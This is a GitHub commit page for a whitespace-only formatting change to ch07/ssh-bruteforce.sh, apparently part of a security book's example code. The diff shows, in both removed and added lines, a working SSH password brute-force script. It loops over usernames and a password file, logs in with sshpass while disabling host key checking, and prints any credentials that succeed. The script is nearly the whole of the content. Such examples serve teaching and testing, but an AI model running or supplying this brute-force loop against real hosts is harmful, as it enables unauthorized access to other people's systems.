Skip to content

Commit

Permalink
2 spaces not tabs
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Apr 23, 2024
1 parent 9b54738 commit aecc129
Showing 1 changed file with 14 additions and 15 deletions.
29 changes: 14 additions & 15 deletions ch07/ssh-bruteforce.sh
Original file line number Diff line number Diff line change
Expand Up @@ -12,21 +12,20 @@ echo "Starting SSH credential testing..."

# Loop through each combination of usernames and passwords
for username in "${USERNAMES[@]}"; do
while IFS= read -r password; do
echo "Testing credentials: ${username} / ${password}"

# Check the exit code to determine if the login was successful
if sshpass -p "${password}" ssh -o "StrictHostKeyChecking=no" -p "${PORT}" "${username}@${TARGET}" exit >/dev/null 2>&1; then
echo "Successful login with credentials:"
echo "Host: ${TARGET}"
echo "Username: ${username}"
echo "Password: ${password}"

# Perform additional actions here using the credentials

exit 0
fi
done < "${PASSWORD_FILE}"
while IFS= read -r password; do
echo "Testing credentials: ${username} / ${password}"

# Check the exit code to determine if the login was successful
if sshpass -p "${password}" ssh -o "StrictHostKeyChecking=no" -p "${PORT}" "${username}@${TARGET}" exit >/dev/null 2>&1; then
echo "Successful login with credentials:"
echo "Host: ${TARGET}"
echo "Username: ${username}"
echo "Password: ${password}"

# Perform additional actions here using the credentials
exit 0
fi
done < "${PASSWORD_FILE}"
done

echo "No valid credentials found."

0 comments on commit aecc129

Please sign in to comment.